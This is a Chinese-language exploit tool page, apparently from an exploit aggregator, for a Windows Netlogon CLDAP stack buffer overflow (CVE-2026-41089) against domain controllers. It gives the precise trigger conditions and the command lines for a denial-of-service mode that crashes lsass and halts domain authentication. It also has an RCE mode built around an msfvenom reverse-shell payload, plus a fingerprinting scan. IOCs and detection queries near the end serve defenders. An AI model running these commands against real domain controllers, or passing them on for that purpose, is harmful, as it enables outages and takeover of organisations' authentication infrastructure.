## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HNYTGL-CVE-2026-41089
# CVE-2026-41089 — Windows Netlogon CLDAP Stack Buffer Overflow RCE Exploit
**CVE-ID:** CVE-2026-41089
**CVSS:** 9.8 (Critical)
**CWE:** CWE-121 (Stack-based Buffer Overflow)
**攻击向量:** UDP/389 (CLDAP SearchRequest)
**影响:** 远程代码执行 (RCE) / 拒绝服务 (DoS)
**受影响版本:** Windows Server 2012 R2 ~ 2025 (Domain Controllers)
**补丁:** 2026年5月累积更新
## 漏洞概述
`netlogon.dll` 中的 `NetpLogonPutUnicodeString` 函数在处理 CLDAP 搜索请求时存在栈缓冲区溢出漏洞。该函数接收字节长度预算,但将其解释为 **WCHAR 计数** ,导致写入量是预期的 **2 倍** 。
溢出发生在 `NlGetLocalPingResponse` 函数的 **528 字节(264 ushort)** 固定栈缓冲区中。攻击者可控的 `User` 字段加上服务器自身的 DNS 域名共同填充此缓冲区,最终覆盖 GS 安全 Cookie,导致 `__report_gsfailure` 和 `lsass.exe` 崩溃。
### 触发条件
* CLDAP SearchRequest 中 `NtVer=0x02`(强制使用旧的、存在漏洞的 `BuildSamLogonResponse` 路径)
* `User` 字段长度 ≥ ~130 个字符(二进制上限约为 260 字节 UTF-16)
* 服务器 DNS 域名长度 ≥ ~80 个字符(域名越长,越容易达到 Cookie)
> **注意:** `NtVer=0x16`(许多公开检测脚本使用的值)会触发安全的 `BuildSamLogonResponseEx` 路径,**不会触发漏洞** 。
## 功能
模式| 描述
---|---
`--mode dos`| 发送精心构造的 CLDAP 包,导致 LSASS 崩溃,DC 重启(~60 秒认证中断)
`--mode rce`| 尝试远程代码执行(研究级,需要 shellcode)
### DoS 模式
单包即可崩溃 `lsass.exe`,导致域控制器在约 30-60 秒内重启。此期间该 DC 的所有域认证将失败。
root@kitploit:~
# 基本用法 — 发送 3 个包
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode dos
# 单包快速攻击
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 1
# 激进模式 — 5 个包并发
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 5 --delay 0.1
### RCE 模式
**⚠️ 研究级 — 在实际环境中不可靠且不稳定。**
RCE 面临以下挑战:
1. 溢出数据是服务器自身的 DNS 名称,而非攻击者的 shellcode
2. GS Cookie 必须绕过(需要信息泄露原语或暴力破解)
3. Server 2022+ 上的 CET/ACG/CFG 使传统 ROP 更加困难
root@kitploit:~
# 生成 shellcode
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 \
-f raw -o shellcode.bin
# 发送 RCE 链路
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode rce \
--shellcode-file shellcode.bin --lhost 10.0.0.5 --lport 4444
### 扫描模式
root@kitploit:~
# 对目标 DC 进行指纹识别
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode scan
预期输出示例(已修补目标):
root@kitploit:~
NtVer=0x00000002 → RESPONDED (3 ms)
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
预期输出示例(未修补目标):
root@kitploit:~
NtVer=0x00000002 → TIMEOUT (5001 ms) ← LSASS crashed!
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
如果 `NtVer=0x02` 超时而其他版本正常响应,则目标很可能**存在漏洞** 。
## 高级参数
## 搭建测试环境
root@kitploit:~
# 在 Windows Server(未修补)上创建长域名 DC:
# 1. 提升为域控 (DNS 域名很长的域名,例如 "this-is-a-very-long-domain-name-for-testing.corp.local")
# 2. 确认已安装 2026 年 5 月之前的补丁
# 3. 从攻击机运行:
python CVE-2026-41089-exp.py <DC_IP> <LONG_DOMAIN_NAME> --mode dos --count 1
# 4. 观察 DC 崩溃和重启
## 入侵指标 (IOCs)
### 网络
* UDP/389 上 `User` > 100 字节且 `NtVer = 0x02` 的 CLDAP SearchRequest
* 从非域控主机发往 DC 的异常 CLDAP 流量
### 主机
root@kitploit:~
Event ID: 1000
Faulting process: lsass.exe
Faulting module: netlogon.dll
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
### 检测规则
root@kitploit:~
index=wineventlog source="WinEventLog:Application" EventID=1000
Process_Name="lsass.exe" Exception_Code="0xc0000409"
root@kitploit:~
Event
| where Source == "Application" and EventID == 1000
| where RenderedDescription contains "lsass.exe"
| where RenderedDescription contains "0xc0000409"
## 补丁信息
## 法律声明
本工具仅用于 **授权安全评估、渗透测试、CTF 竞赛和防御研究** 。在未获得明确书面授权的情况下,对任何系统使用本工具均属非法。使用者自行承担一切法律责任。
## 参考链接
* Microsoft Security Update Guide: CVE-2026-41089
* NVD: CVE-2026-41089
* Kudelski Security Research — Netlogon Stack Buffer Overflow Analysis
* SecPod Analysis — IOCs and Detection
* IONIX Threat Center — CVE-2026-41089